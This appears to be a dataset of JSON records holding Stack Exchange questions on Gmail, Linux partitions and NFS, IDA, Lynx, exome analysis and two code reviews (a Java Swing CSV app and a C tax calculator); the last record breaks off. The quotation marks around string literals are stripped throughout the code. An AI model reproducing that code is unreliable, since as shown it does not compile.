{  "id": "_webapps.84853"  , "question": "I cannot set profile picture visibility for one of my profiles in Gmail. I have tried following this guide. I have also looked at How do I change my Gmail profile picture?The problem I am facing is as follows:Only one accout of two is affected. For the accout that is functioning normally I can upload the picture and then set the visibility as shown on a screenshot below:For affected account I can upload the picture, but visibility options are not present:Notes:My preferred option is Visible to everyone. But when options are not visible, the behavior defaults to not visible to anyone at all even myself.Both accounts names have the same form: xyz.abcdef@gmail.comI don't have Google+ account and don't want to create oneWhat I have tried so far:Removing picture completely, signing out and trying again (no luck)Acccessing gmail from older HTML version of app (no option to upload the picture)Sending feedback to Google (waiting for response)"  , "title": "Gmail profile picture visibility"  , "tags": "gmail;profile picture"  } 
{  "id": "_unix.38105"  , "question": "Can a partition have a UUID without a filesystem?"  , "title": "Can unformatted partitions have UUIDs?"  , "tags": "linux;partition;block device"  } 
{  "id": "_codereview.95144"  , "question": "I'm trying to focus on learning so I can get an entry level position and the best way for me to learn right now is to have someone review and provide areas of improvement. This project isn't entirely complete but almost. I am going to include the code for some of the classes but not all of them. Just a few button actions left to finish. All criticism is welcomed.public class CreateAndShowUI {  public static void createUI() {    Model model = new Model();    MainPanel mainPanel = new MainPanel(model, new CSVFileController(model));    JFrame frame = new JFrame();    frame.getContentPane().add(mainPanel.getMainPanel());    frame.setUndecorated(true);    frame.setPreferredSize(new Dimension(1100, 550));    frame.addMouseListener(new ApplicationMouseAdapters.FrameMouseAdapter());    frame.addMouseMotionListener(new ApplicationMouseAdapters.FrameMouseMotionListener(            frame));    frame.pack();    frame.setLocationRelativeTo(null);    frame.setVisible(true);  }  public static final Font getHeaderFont() {    return new Font(Consolas, Font.BOLD, 16);  }  public static final Font getFont() {    return new Font(Consolas, Font.BOLD, 14);  }  public static final Font getTableFont() {    return new Font(Consolas, Font.PLAIN, 16);  }  public static final Color getButtonColor() {    return new Color(230, 230, 230);  }  public static void main(String[] args) {    createUI();  }}The MainPanel Class which basically creates the main JPanel for the JFrame. This JPanel has two child panels and one menu bar.public class MainPanel {  private Model model;  private CSVFileController controller;  private JPanel mainPanel;  private Dialog dialog;  private MenuBar menuBar;  private ButtonPanel buttonPanel;  private JScrollPane buttonScrollPane, listScrollPane;  private JTable table;  private JLabel search;  private JTextField searchTF;  private JButton xButton;  public MainPanel(Model model, CSVFileController controller) {    this.model = model;    this.controller = controller;    createMainPanel();  }  private void createMainPanel() {    mainPanel = new JPanel(new MigLayout(, , []13[]));    dialog = new Dialog();    table = new JTable(new ProductTableModel());    setTableColumnWidth(table.getModel());    table.getTableHeader()            .setPreferredSize(                    new Dimension(table.getColumnModel()                            .getTotalColumnWidth(), 48));    table.getTableHeader().setResizingAllowed(false);    table.getTableHeader().setReorderingAllowed(false);    table.getTableHeader().setFont(CreateAndShowUI.getFont());    table.setFont(CreateAndShowUI.getTableFont());    table.addMouseListener(new ApplicationMouseAdapters.TableMouseAdapter(            dialog, table.getModel(), controller));    setTableEditorFont(table);    menuBar = new MenuBar();    mainPanel.add(menuBar.getMenuBar());    search = new JLabel(Search);    mainPanel.add(search, cell 0 0, gap 10px);    searchTF = new JTextField(, 30);    mainPanel.add(searchTF, cell 0 0);    xButton = new JButton(new CloseAction(X));    xButton.setFocusable(false);    xButton.setFont(CreateAndShowUI.getFont());    xButton.setBackground(new Color(158, 7, 7));    xButton.setForeground(Color.WHITE);    mainPanel.add(xButton, cell 0 0, gap 283px, wrap);    buttonPanel = new ButtonPanel();    buttonScrollPane = new JScrollPane(buttonPanel.getButtonPanel(),            JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,            JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);    buttonScrollPane.setViewportView(buttonPanel.getButtonPanel());    buttonScrollPane.setPreferredSize(new Dimension(250, 990));    mainPanel.add(buttonScrollPane);    listScrollPane = new JScrollPane(table,            JScrollPane.VERTICAL_SCROLLBAR_AS_NEEDED,            JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);    listScrollPane.setPreferredSize(new Dimension(850, 990));    mainPanel.add(listScrollPane, cell 0 1);  }  public JPanel getMainPanel() {    return mainPanel;  }  public JPanel getButtonPanel() {    return buttonPanel.getButtonPanel(); }  public JTable getTable() {    return table;  }  public JMenuBar getMenuBar() {    return menuBar.getMenuBar();  } public final void setTableEditorFont(JTable table) {    DefaultCellEditor editor = (DefaultCellEditor) table            .getDefaultEditor(Object.class);    Component component = editor.getComponent();    component.setFont(table.getFont());    editor.setClickCountToStart(1);  }  public final void setTableColumnWidth(TableModel tableModel) {    final TableColumnModel columnModel = table.getColumnModel();    if (tableModel.getColumnCount() == 6) {        columnModel.getColumn(0).setPreferredWidth(200);        columnModel.getColumn(1).setPreferredWidth(300);        columnModel.getColumn(2).setPreferredWidth(80);        columnModel.getColumn(3).setPreferredWidth(75);        columnModel.getColumn(4).setPreferredWidth(80);        columnModel.getColumn(5).setPreferredWidth(75);    } } public class ButtonPanel {    private JPanel panel;    public ButtonPanel() {        panel = new JPanel(new MigLayout());        addButtons();    }    private void addButtons() {        List<Supplier> supplierList = model.getSuppliers();        for (Supplier supplier : supplierList) {            JButton button = new JButton(                    new SupplierButtonActions.ShowSupplierProductsAction(                            supplier.getName(), getTable(), model));            button.setFocusable(false);            button.setFont(CreateAndShowUI.getFont());            button.setBackground(CreateAndShowUI.getButtonColor());            button.setPreferredSize(new Dimension(230, 30));            button.setHorizontalAlignment(SwingConstants.CENTER);            panel.add(button, wrap);        }    }    public JPanel getButtonPanel() {        return panel;    }  }  public class MenuBar {      private JMenuBar menuBar;      private JMenu application, suppliers, orders;      private JMenuItem viewOrders, newSupplier, addProduct, close;      public MenuBar() {        createMenuBar();      }      private void createMenuBar() {        menuBar = new JMenuBar();        close = new JMenuItem(new CloseAction(Close));        close.setPreferredSize(new Dimension(125, 25));        close.setFont(CreateAndShowUI.getHeaderFont());        application = new JMenu(Application);        application.setFont(CreateAndShowUI.getHeaderFont());        application.setPreferredSize(new Dimension(125, 70));        application.add(close);        menuBar.add(application);        newSupplier = new JMenuItem(                new DialogActions.AddSupplierPanelAction(dialog, New));        newSupplier.setPreferredSize(new Dimension(125, 25));        newSupplier.setFont(CreateAndShowUI.getHeaderFont());        addProduct = new JMenuItem(new DialogActions.AddProductPanelAction(                dialog, model, Add Products));        addProduct.setPreferredSize(new Dimension(125, 25));        addProduct.setFont(CreateAndShowUI.getHeaderFont());        suppliers = new JMenu(Suppliers);        suppliers.setFont(CreateAndShowUI.getHeaderFont());        suppliers.setPreferredSize(new Dimension(125, 70));        suppliers.add(newSupplier);        suppliers.add(addProduct);        menuBar.add(suppliers);        viewOrders = new JMenuItem(View);        viewOrders.setFont(CreateAndShowUI.getHeaderFont());        viewOrders.setPreferredSize(new Dimension(125, 25));        orders = new JMenu(Orders);        orders.setFont(CreateAndShowUI.getHeaderFont());        orders.setPreferredSize(new Dimension(125, 70));        orders.add(viewOrders);        menuBar.add(orders);      }      public JMenuBar getMenuBar() {        return menuBar;      }  }}The KeywordPanel class which is one of the panels for JDialog. This panel is added dynamically to a dialog based on a specific action taken by the user. public class KeywordPanel {  private CSVFileController controller;  private Product product;  private Dialog dialog;  private JPanel keywordPanel;  private JTextField[] textFields;  private JLabel searchLbl;  private JButton close, remove;  public KeywordPanel(CSVFileController controller, Dialog dialog,        Product product) {    this.controller = controller;    this.product = product;    this.dialog = dialog;    createKeywordPanel();  }  public void createKeywordPanel() {    keywordPanel = new JPanel(new MigLayout());    searchLbl = new JLabel(KeyWords);    searchLbl.setFont(CreateAndShowUI.getFont());    keywordPanel.add(searchLbl, wrap);    textFields = new JTextField[] { new JTextField(), new JTextField(),            new JTextField(), new JTextField(), new JTextField() };    for (JTextField textField : textFields) {        textField.setFont(CreateAndShowUI.getFont());        textField.setPreferredSize(new Dimension(242, 30));        keywordPanel.add(textField, wrap);    }    remove = new JButton(new KeywordPanelController.RemoveAction(Remove,            controller, product));    remove.setBackground(CreateAndShowUI.getButtonColor());    remove.setFont(CreateAndShowUI.getFont());    keywordPanel.add(remove);    close = new JButton(new KeywordPanelController.SaveAndCloseAction(            Save & Close, controller, dialog, product, textFields));    close.setBackground(CreateAndShowUI.getButtonColor());    close.setFont(CreateAndShowUI.getFont());    keywordPanel.add(close, cell 0 6, gapx 30px);}public void setCategoryTextFields(int index, String category) {    textFields[index]            .addMouseListener(new KeywordPanelController.TextFieldMouseAdapter(                    textFields[index]));    textFields[index].setEditable(false);    textFields[index].setBackground(Color.WHITE);    textFields[index].setText(category);  }  public void setLocation(int x, int y) {    keywordPanel.setLocation(x, y);  }  public JPanel getKeywordPanel() {    return keywordPanel;  }}Main model for the application:public class Model {  private Map<Supplier, List<Product>> supplierProductList;  private List<Product> productList;  public Model() {    this.supplierProductList = new TreeMap<Supplier, List<Product>>();  }  public void addSupplier(Supplier supplier) {    if (!supplierProductList.containsKey(supplier)) {        this.supplierProductList.put(supplier, new ArrayList<Product>());    }  }  public ArrayList<Supplier> getSuppliers() {    return new ArrayList<Supplier>(supplierProductList.keySet());  }  public void addProduct(String name, Product product) {    for (Supplier supplier : supplierProductList.keySet()) {        if (supplier.getName().equals(name)                && !supplierProductList.get(name).contains(product)) {            this.productList = supplierProductList.get(name);            this.productList.add(product);            this.supplierProductList.put(supplier, productList);        }    }  }  public void addProductList(Supplier supplier, List<Product> productList) {    this.supplierProductList.put(supplier, productList);  }  public ArrayList<Product> getProducts(String name) {    for (Supplier supplier : getSuppliers()) {        if (supplier.getName().equals(name))            return new ArrayList<Product>(supplierProductList.get(supplier));    }    return null;  }}This is the CSVFileController class. This is used to update the model and the files based on user interaction with the view.public class CSVFileController {  private Model model;  private BufferedReader reader;  private BufferedWriter writer;  private String line;  public CSVFileController(Model model) {    this.model = model;    this.reader = null;    this.writer = null;    this.line = ;    updateModel();  }  public void updateModel() {    List<Supplier> suppliers = new ArrayList<Supplier>();    try {        reader = new BufferedReader(new FileReader(Suppliers.csv));        while ((line = reader.readLine()) != null) {            String[] dataArray = line.split(,);            suppliers.add(new Supplier(dataArray[0], Integer                    .parseInt(dataArray[1])));        }        for (Supplier supplier : suppliers) {            List<Product> productList = new ArrayList<Product>();            reader = new BufferedReader(new FileReader(supplier.getName()                    + .csv));            while ((line = reader.readLine()) != null) {                String[] dataArray = line.split(,);                if (dataArray.length == 6) {                    productList.add(new Product(supplier, dataArray[0],                            dataArray[1], Integer.parseInt(dataArray[2]),                            Integer.parseInt(dataArray[3]), Double                                    .parseDouble(dataArray[4]), Integer                                    .parseInt(dataArray[5])));                } else {                    List<String> categories = new ArrayList<String>();                    for (int x = 6; x < dataArray.length; x++) {                        categories.add(dataArray[x]);                    }                    productList.add(new Product(supplier, dataArray[0],                            dataArray[1], Integer.parseInt(dataArray[2]),                            Integer.parseInt(dataArray[3]), Double                                    .parseDouble(dataArray[4]), Integer                                    .parseInt(dataArray[5]), categories));                }            }            model.addProductList(supplier, productList);        }    } catch (FileNotFoundException e) {        e.printStackTrace();    } catch (IOException e) {        e.printStackTrace();    } finally {        closeReader(reader);    }  }  public void adjustProductCategories(Product product) {    List<Product> supplierProductList = model.getProducts(product            .getSupplier().getName());    try {        writer = new BufferedWriter(new FileWriter(product.getSupplier()                .getName() + .csv));        for (ListIterator<Product> iterator = supplierProductList                .listIterator(); iterator.hasNext();) {            Product prod = iterator.next();            if (prod.getId() == product.getId()) {                iterator.remove();                iterator.add(product);                model.addProductList(product.getSupplier(),                        supplierProductList);            }            writer.write(prod.toString());            writer.newLine();        }    } catch (IOException ex) {        ex.printStackTrace();    } finally {        closeWriter(writer);    }  }  public void closeWriter(BufferedWriter bw) {    try {        if (bw != null) {            bw.close();        }    } catch (IOException e) {        e.printStackTrace();    }  }  public void closeReader(BufferedReader br) {    try {        if (br != null) {            br.close();        }    } catch (IOException e) {        e.printStackTrace();    }  }}This is the controller for the KeywordPanel: public class KeywordPanelController {  public static class RemoveAction extends TextAction {    private CSVFileController controller;    private Product product;    public RemoveAction(String name, CSVFileController controller,            Product product) {        super(name);        this.controller = controller;        this.product = product;    }    @Override    public void actionPerformed(ActionEvent e) {        JTextComponent textField = (JTextField) getFocusedComponent();        if (!textField.isEditable()) {            product.getCategories().remove(textField.getText().trim());            product.setCategories(product.getCategories());            controller.adjustProductCategories(product);            textField.setText();            textField.setEditable(true);        }    }  }  public static class TextFieldMouseAdapter extends MouseAdapter {    private JTextField textField;    public TextFieldMouseAdapter(JTextField textField) {        this.textField = textField;    }    @Override    public void mouseClicked(MouseEvent evt) {        textField.setSelectionColor(new Color(142, 15, 6));        textField.setSelectedTextColor(new Color(255, 255, 255));        textField.setSelectionStart(0);        textField.setSelectionEnd(textField.getText().trim().length());    }  }  public static class SaveAndCloseAction extends AbstractAction {    private JTextField[] textFields;    private Product product;    private CSVFileController controller;    private Dialog dialog;    public SaveAndCloseAction(String name, CSVFileController controller,            Dialog dialog, Product product, JTextField[] textFields) {        super(name);        this.controller = controller;        this.textFields = textFields;        this.product = product;        this.dialog = dialog;    }    @Override    public void actionPerformed(ActionEvent e) {        List<String> categories = new ArrayList<String>();        for (JTextField textField : textFields) {            if (new ValidateString().validate(textField.getText().trim())) {                categories.add(textField.getText().trim());            }        }        product.setCategories(categories);        controller.adjustProductCategories(product);        dialog.getDialog().dispose();    }  }}The Product class which is a POJO. I'm not entirely sure if this should be considered a model class or not.public class Product {  private Supplier supplier;  private List<String> categoryList;  private int minQty, qtyOnHand, orderQty;  private double cost;  private String productDescription, id;  public Product(Supplier supplier, String id, String productDescription,        int qtyOnHand, int minQty, double cost, int orderQty,        List<String> categories) {    this.supplier = supplier;    this.qtyOnHand = qtyOnHand;    this.orderQty = orderQty;    this.id = id;    this.minQty = minQty;    this.cost = cost;    this.productDescription = productDescription;    this.categoryList = categories;  }  public Product(Supplier supplier, String id, String productDescription,        int qtyOnHand, int minQty, double cost, int orderQty) {    this.supplier = supplier;    this.qtyOnHand = qtyOnHand;    this.orderQty = orderQty;    this.id = id;    this.minQty = minQty;    this.cost = cost;    this.productDescription = productDescription;  }  public Product(String id, String productDescription, int qtyOnHand,        int minQty, double cost, int orderQty) {    this.qtyOnHand = qtyOnHand;    this.orderQty = orderQty;    this.id = id;    this.minQty = minQty;    this.cost = cost;    this.productDescription = productDescription;  }  public int getQtyOnHand() {    return qtyOnHand;  }  public void setQtyOnHand(int qtyOnHand) {    this.qtyOnHand = qtyOnHand;  }  public int getOrderQty() {    return orderQty;  }  public void setOrderQty(int orderQty) {    this.orderQty = orderQty;  }  public String getId() {    return id;  }  public void setId(String id) {    this.id = id;  }  public double getCost() {    return cost;  }  public void setCost(double cost) {    this.cost = cost;  }  public String getProductDescription() {    return productDescription;  }  public void setProductDescription(String productDescription) {    this.productDescription = productDescription;  }  public int getMinQty() {    return minQty;  }  public void setMinQty(int minQty) {    this.minQty = minQty;  }  public List<String> getCategories() {    return categoryList;  }  public void setCategories(List<String> categories) {    this.categoryList = categories;  }  public Supplier getSupplier() {    return supplier;  }  public void setSupplier(Supplier supplier) {    this.supplier = supplier;  }  public boolean isCategorized() {    if (categoryList == null) {        return false;    } else {        return true;    }  }  @Override  public String toString() {    StringBuilder builder = new StringBuilder();    builder.append(id).append(,).append(productDescription).append(,)            .append(qtyOnHand).append(,).append(minQty).append(,)            .append(cost).append(,).append(orderQty);    if (isCategorized()) {        for (String category : categoryList) {            builder.append(,).append(category);        }    }    return builder.toString();  }}"  , "title": "CSV File Reader Project"  , "tags": "java;mvc;swing;csv"  } 
{  "id": "_reverseengineering.15140"  , "question": "My problem is: hexrays thinks that semicolon is visible character. In IDAPython idaapi.is_visible_char(';') returns TrueIn picture you can see field_100C; highlighted, but field_100C not highlighted.In ida.cfg I have following NameChars (this is ARM LE):NameChars =        _0123456789        ABCDEFGHIJKLMNOPQRSTUVWXYZ        abcdefghijklmnopqrstuvwxyz;  In any other NameChars array semicolon is not added.So, how can this behaviour get fixed? Is there idapython call of some sorts? Can plugins be a reason for this? Is there GUI option to check?Found this, but it didnt helphttps://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html"  , "title": "Incorrect semicolon usage in decompiled variables"  , "tags": "ida;idapro plugins"  , "accepted_answer": "Still don't know what was the root of the problem, but PC restart helped...';' stopped magically appearing in NameChars array."  } 
{  "id": "_unix.291086"  , "question": "I have a lynx configuration file in ~/.lynx.cfg.To make lynx use it, I have in my environment $LYNX_CFG pointing at that file.Content:# DefaultCOLOR:0:black:white# HyperlinksCOLOR:1:black:white# Status LineCOLOR:2:black:white# EmphasisCOLOR:4:black:white# Hyperlink in emCOLOR:5:black:white# Selected hyperlinkCOLOR:6:black:black# SearchCOLOR:7:black:whiteJUSTIFY:TRUEThe JUSTIFY:TRUE line is correctly applied, but never the COLOR:*:I'm on OS X Yosemity, in Tmux, using Iterm2, and the lynx version is:Lynx Version 2.8.8rel.2 (09 Mar 2014)libwww-FM 2.14, SSL-MM 1.4.1, OpenSSL 1.0.2h, ncurses 5.7.20081102What could cause the issue?"  , "title": "Lynx colors not applied"  , "tags": "colors;lynx"  } 
{  "id": "_bioinformatics.842"  , "question": "I'm currently attempting association analysis with an extremely small set of patient exomes (n=10), with no control or parental exomes available. Downloading the ExAC VCF of variant sites (http://exac.broadinstitute.org/downloads) or the 1000G integrated call sets (http://ftp.1000genomes.ebi.ac.uk/) and combining this with our pooled patient VCFs has not been successful (I suspect the approach of attempting to merge such large VCFs generated from different pipelines is rather naive).Looking at the primary literature, I have gathered it should be possible to use these resources to help increase statistical power for our analysis. My question is how do I take these large .vcfs with many samples and successfully merge them to our patient .vcfs, such that the combined VCF can be used downstream to run analysis packages? (PODKAT, PLINK, etc.)"  , "title": "What is a good pipeline for using public domain exomes as controls?"  , "tags": "public databases;variants;sequencing;exome"  } 
{  "id": "_datascience.20510"  , "question": "I am implementing a module which finds based on user interactions on an online portal to find which attributes of a certain product and what values for those products influence the buyer to choose the said Item.My employers have suggested me to use Genetic Algorithm to achieve this. I have started implementing and found even the initial population generation to be a bit ineffective. Before I go further with this I would like your thoughts whether 'Genetic Algorithm' is the right way or is there a better way to go about this.For me each genome is a list of attributes and their corresponding values. Eg. genome 1: Color: Black, Material: wool, thread count:5     genome 2: Color: white, Handwash: yes, Dry clean only: NoIts a mixture of different attributes and their values. Am I going about this the wrong way?  "  , "title": "How effective is Genetic Algorithm for finding Attribute-Value relationships"  , "tags": "data mining;genetic algorithms"  } 
{  "id": "_unix.160295"  , "question": "I'm trying to build an NFS server on my Raspberry Pi which will be writable by any server on the network. The NFS share is a directory on an external device mounted at boot:$ cat /etc/fstabproc            /proc           proc    defaults          0       0/dev/mmcblk0p1  /boot           vfat    defaults          0       2/dev/mmcblk0p2  /               ext4    defaults,noatime  0       1# This is my external device/dev/sda1 /data                 ext4    defaults,nofail         0       2I configured my /etc/exports as follows:$ cat /etc/exports   /data *(rw,sync,all_squash,no_subtree_check,anonuid=1000,anongid=1000)/data/share *(rw,sync,all_squash,no_subtree_check,anonuid=1000,anongid=1000)The User ID and Group ID of 1000 is the pi user and pi group, which owns both /data and /data/share:$ ls -la /datatotal 28drwxrwxrwx  4 pi   pi    4096 Sep 30 08:41 .drwxr-xr-x 23 root root  4096 Oct  9 15:54 ..drwx------  2 pi   pi   16384 Sep 25 14:57 lost+founddrwxrwxrwx  2 pi   pi    4096 Sep 30 08:41 shareWhen I try to mount the share from my Mac, I get the following error:$ mount 192.168.101.10:/data tmpmount_nfs: can't mount /data from 192.168.101.10 onto /Users/davejlong/Downloads/tmp: Operation not permittedHere is the output of exportfs -v$ sudo exportfs -v/data           <world>(rw,wdelay,root_squash,all_squash,no_subtree_check,anonuid=1000,anongid=1000)/data/share     <world>(rw,wdelay,root_squash,all_squash,no_subtree_check,anonuid=1000,anongid=1000)I'm not sure what I'm doing wrong with my configuration."  , "title": "Building NFS Server to be world writable"  , "tags": "nfs;raspberry pi;raspbian"  } 
{  "id": "_webapps.30193"  , "question": "I joined many groups on LinkedIn, and I visit most of them daily.The groups sends me a summary of their posts daily, I know there's an option to turn them off, but I can't find it. Can anyone help me in that?"  , "title": "Turning off Group emails"  , "tags": "linkedin;linkedin groups"  , "accepted_answer": "Found any easier way to do this.  Hover your mouse pointer over your name at top right corner  click on settings Login again  Click on Group, Companies and Applications tab Click on Set the frequency of group digest emailsSelect the options for each of your groupClick Save ChangesThanks Alex for the help too."  } 
{  "id": "_codereview.42387"  , "question": "I have my program working.  I just need to redo it a little bit, and it could use some improvements.I got different % rates depending on what the income and status is.#include <stdio.h>#include <conio.h>#include <stdlib.h>#include <cstdio>//functions calledfloat wages_loop();float other_loop();float interest_loop();float dividends_loop();int dependatnts_loop();void check_status();float get_total_income(float wage, float div, float intre, float other, int dep);int single_total = 0;int mj_total = 0;int ms_total = 0;int sh_total = 0;//start main int main(void){    char another[10];    char buffer[80][90];    float wages, other_income, interest, dividends, income_tax;    int dependents;    printf(Would you like to start: );    gets_s(another);    if (another[0] != 'y' && another[0] != 'n')    {        while (another[0] != 'y' && another[0] != 'n')        {            printf(\\n\\n INCORRECT ANSWER. \\n\\n);            printf(\\n Would you like to start. (y or n));            gets_s(another);        }    }    while (another[0] == 'y')    {        //add all info together.        wages = wages_loop();        other_income = other_loop();        interest = interest_loop();        dividends = dividends_loop();        //enter dependats        dependents = dependatnts_loop();        //function to indicate the status and other things.         income_tax = get_total_income(wages, other_income, dividends, interest, dependents);        if (income_tax < 0)        {            printf(\\n\\n\\t\\t Your income tax RETURN is: %.2f \\n, income_tax);        }        else if (income_tax >= 0)        {            printf(\\n\\n\\t\\t Your income tax OWED is: %.2f \\n, income_tax);        }               printf(Would you like to do anoter: );        gets_s(another);        if (another[0] != 'y' && another[0] != 'n')        {            while (another[0] != 'y' && another[0] != 'n')            {                printf(\\n\\n INCORRECT ANSWER. \\n\\n);                printf(\\n Would you like anoter. (y or n));                gets_s(another);            }//end if        }    } //end loop    printf(\\n\\n\\t\\t\\t Number of Singles filleing: %i \\n, single_total);    printf(\\n\\n\\t\\t\\t Number of Married Filing Jointly: %i \\n, mj_total);    printf(\\n\\n\\t\\t\\t Number of Married Filing Separately: %i \\n, ms_total);    printf(\\n\\n\\t\\t\\t Number of Single Head of Household filleing: %i \\n, sh_total);    system(pause);    return 0;}//end mainfloat wages_loop(){    char again[10];    char buffer[80];    float wages, total_wages = 0;    printf(\\n How much in Wages. );    gets_s(buffer);    wages = atof(buffer);    total_wages = wages + total_wages;    printf(\\n Do you have any more wages. (y or n));    gets_s(again);    if (again[0] != 'y' && again[0] != 'n')    {        while (again[0] != 'y' && again[0] != 'n')        {            printf(\\n\\n INCORRECT ANSWER. \\n\\n);            printf(\\n Do you have any more wages. (y or n));            gets_s(again);        }    }    while (again[0] == 'y')    {        printf(\\n Enter Wages: );        gets_s(buffer);        wages = atof(buffer);        total_wages = wages + total_wages;        printf(\\n Do you have any more wages. );        gets_s(again);    }    return total_wages;}//end wage_loopfloat other_loop(){    char again[10];    char buffer[80];    float other_income, total_other_income = 0;    printf(\\n How much in other income. );    gets_s(buffer);    other_income = atof(buffer);    total_other_income = other_income + total_other_income;    printf(\\n Do you have any more other income. (y or n));    gets_s(again);    if (again[0] != 'y' && again[0] != 'n')    {        while (again[0] != 'y' && again[0] != 'n')        {            printf(\\n\\n INCORRECT ANSWER. \\n\\n);            printf(\\n Do you have any more other income. (y or n));            gets_s(again);        }    }    while (again[0] == 'y')    {        printf(\\n Enter other income: );        gets_s(buffer);        other_income = atof(buffer);        total_other_income = other_income + total_other_income;        printf(\\n Do you have any more other income. );        gets_s(again);    }    return total_other_income;}float interest_loop(){    char again[10];    char buffer[80];    float interest, total_interest = 0;    printf(\\n How much in interest. );    gets_s(buffer);    interest = atof(buffer);    total_interest = interest + total_interest;    printf(\\n Do you have any more interest. (y or n));    gets_s(again);    if (again[0] != 'y' && again[0] != 'n')    {        while (again[0] != 'y' && again[0] != 'n')        {            printf(\\n\\n INCORRECT ANSWER. \\n\\n);            printf(\\n Do you have any more interest. (y or n));            gets_s(again);        }    }    while (again[0] == 'y')    {        printf(\\n Enter interest: );        gets_s(buffer);        interest = atof(buffer);        total_interest = interest + total_interest;        printf(\\n Do you have any more interest. );        gets_s(again);    }    return total_interest;}float dividends_loop(){    char again[10];    char buffer[80];    float dividends, total_dividends = 0;    printf(\\n How much in dividends. );    gets_s(buffer);    dividends = atof(buffer);    total_dividends = dividends + total_dividends;    printf(\\n Do you have any more dividends. (y or n));    gets_s(again);    if (again[0] != 'y' && again[0] != 'n')    {        while (again[0] != 'y' && again[0] != 'n')        {            printf(\\n\\n INCORRECT ANSWER. \\n\\n);            printf(\\n Do you have any more dividends. (y or n));            gets_s(again);        }    }    while (again[0] == 'y')    {        printf(\\n Enter dividends: );        gets_s(buffer);        dividends = atof(buffer);        total_dividends = dividends + total_dividends;        printf(\\n Do you have any more dividends. );        gets_s(again);    }    return total_dividends;}//end dividends_loop//dependantsint dependatnts_loop(){    char again[10];    char buffer[80];    int dependants, total_dependants = 0;    printf(\\n How much in dependants. );    gets_s(buffer);    dependants = atof(buffer);    total_dependants = dependants + total_dependants;    printf(\\n Do you have any more dependants. (y or n));    gets_s(again);    if (again[0] != 'y' && again[0] != 'n')    {        while (again[0] != 'y' && again[0] != 'n')        {            printf(\\n\\n INCORRECT ANSWER. \\n\\n);            printf(\\n Do you have any more dependants. (y or n));            gets_s(again);        }    }    while (again[0] == 'y')    {        printf(\\n Enter dependants: );        gets_s(buffer);        dependants = atof(buffer);        total_dependants = dependants + total_dependants;        printf(\\n Do you have any more dependants. );        gets_s(again);    }    total_dependants = total_dependants * 2800;    return total_dependants;}void check_status(){    char status[10];    int check = 0;    while (check != 1)    {        printf(What is your Status: );        gets_s(status);        if (status[0] == 'S' && status[1] == 'H')        {            printf(\\n\\n CORRECT ANSWER. SH \\n\\n);            single_total = single_total + 1;            check = 1;        }        else if (status[0] == 'S' && status[1] == '\\0')        {            printf(\\n\\n CORRECT ANSWER. S \\n\\n);            single_total = single_total + 1;            check = 1;        }        else if (status[0] == 'M' && status[1] == 'J')        {            printf(\\n\\n CORRECT ANSWER. MJ \\n\\n);            mj_total = mj_total + 1;            check = 1;        }        else if (status[0] == 'M' && status[1] == 'S')        {            printf(\\n\\n CORRECT ANSWER. MS \\n\\n);            ms_total = ms_total + 1;            check = 1;        }        else        {            printf(\\n\\n INCORRECT NSWER. noting \\n\\n);        }    }   }float get_total_income(float wage, float div, float intre, float other, int dep){    char status[10];    float income = 0, sum = 0, adjusted_income = 0;    int check = 0;    sum = wage + div + intre + other;    income = sum - dep;    while (check != 1)    {        printf(\\n\\nWhat is your Status: );        gets_s(status);        if (status[0] == 'S' && status[1] == 'H')        {            sh_total = sh_total + 1;            check = 1;            if (income <= 6000)            {                adjusted_income = income * 0.0;            }            else if (income > 6000 && income <= 9000)            {                adjusted_income = income * .038;            }            else if (income > 9000 && income <= 15000)            {                adjusted_income = income * .074;            }            else if (income > 15000 && income <= 21000)            {                adjusted_income = income * .110;            }            else if (income > 21000 && income <= 25000)            {                adjusted_income = income * .138;            }            else if (income > 25000 && income <= 30000)            {                adjusted_income = income * .154;            }            else if (income > 30000)            {                adjusted_income = income * .35;            }            else            {                printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n);            }        }        else if (status[0] == 'S' && status[1] == '\\0')        {            single_total = single_total + 1;            check = 1;            if (income <= 6000)            {                adjusted_income = income * .028;            }            else if (income > 6000 && income <= 9000)            {                adjusted_income = income * .075;            }            else if (income > 9000 && income <= 15000)            {                adjusted_income = income * .096;            }            else if (income > 15000 && income <= 21000)            {                adjusted_income = income * .135;            }            else if (income > 21000 && income <= 25000)            {                adjusted_income = income * .155;            }            else if (income > 25000 && income <= 30000)            {                adjusted_income = income * .174;            }            else if (income > 30000)            {                adjusted_income = income * .35;            }            else            {                printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n);            }        }        else if (status[0] == 'M' && status[1] == 'J')        {            mj_total = mj_total + 1;            check = 1;            if (income <= 6000)            {                adjusted_income = income * 0.0;            }            else if (income > 6000 && income <= 9000)            {                adjusted_income = income * .052;            }            else if (income > 9000 && income <= 15000)            {                adjusted_income = income * .083;            }            else if (income > 15000 && income <= 21000)            {                adjusted_income = income * .122;            }            else if (income > 21000 && income <= 25000)            {                adjusted_income = income * .146;            }            else if (income > 25000 && income <= 30000)            {                adjusted_income = income * .163;            }            else if (income > 30000)            {                adjusted_income = income * .35;            }            else            {                printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n);            }        }        else if (status[0] == 'M' && status[1] == 'S')        {            ms_total = ms_total + 1;            check = 1;            if (income <= 6000)            {                adjusted_income = income * .023;            }            else if (income > 6000 && income <= 9000)            {                adjusted_income = income * .072;            }            else if (income > 9000 && income <= 15000)            {                adjusted_income = income * .089;            }            else if (income > 15000 && income <= 21000)            {                adjusted_income = income * .131;            }            else if (income > 21000 && income <= 25000)            {                adjusted_income = income * .152;            }            else if (income > 25000 && income <= 30000)            {                adjusted_income = income * .172;            }            else if (income > 30000)            {                adjusted_income = income * .35;            }            else            {                printf(\\n\\n INCORRECT ANSWER. CODE IS WRONG. \\n\\n);            }        }        else        {            printf(\\n\\n INCORRECT STATUS. Enter (S, MJ, MS, or SH) \\n\\n);        }    }    printf(\\n\\n\\n\\t YOUR WAGES: %.2f, wage);    printf(\\n\\t YOUR OTHER INCOME: %.2f, other);    printf(\\n\\t YOUR DIVIDENS: %.2f, div);    printf(\\n\\t YOUR INTEREST: %.2f, intre);    printf(\\n\\t YOUR INCOME AFTER DEPENDANTS: %.2f, income);    return adjusted_income;}"  , "title": "Total income program"  , "tags": "c"  , "accepted_answer": "Things you did well:You used the function gets_s, which is a C11 function.  Not many people use this standard yet because it is newer. I was surprised to see it in your code.Your 